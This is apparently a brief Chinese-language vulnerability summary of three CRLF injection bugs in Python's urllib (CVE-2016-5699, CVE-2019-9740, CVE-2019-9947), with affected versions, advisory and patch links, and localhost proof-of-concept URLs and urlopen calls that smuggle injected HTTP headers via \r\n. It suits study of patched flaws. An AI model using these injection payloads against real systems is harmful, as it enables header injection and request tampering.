Python urllib CRLF注入漏洞小结

Python urllib CRLF注入漏洞小结

CVE-2016-5699

https://www.suse.com/security/cve/CVE-2016-5699.html

• before 2.7.10 and 3.x before 3.4.4
• POC：

http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

• 漏洞&patch源码：https://bugs.python.org/file37264/disable_http_header_injection.patch

修复前通过\r\n进行拼接，而我们恶意代码通过host带入

CVE-2019-9740

https://nvd.nist.gov/vuln/detail/CVE-2019-9740
https://xz.aliyun.com/t/5123

• urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3

• poc

import sys
import urllib
import urllib.request
import urllib.error


host = "127.0.0.1:7777?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123"
url = "http://"+ host + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)

• 修复源码：https://github.com/python/cpython/pull/12755/commits/97bcc4bd5cf5c6dc1352d9b5e680db165c937fd1

CVE-2019-9947

https://bugs.python.org/issue35906

• urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3
• POC

import urllib.request

urllib.request.urlopen('http://127.0.0.1:1234/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
or 
urllib.request.urlopen('http://127.0.0.1:1234/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')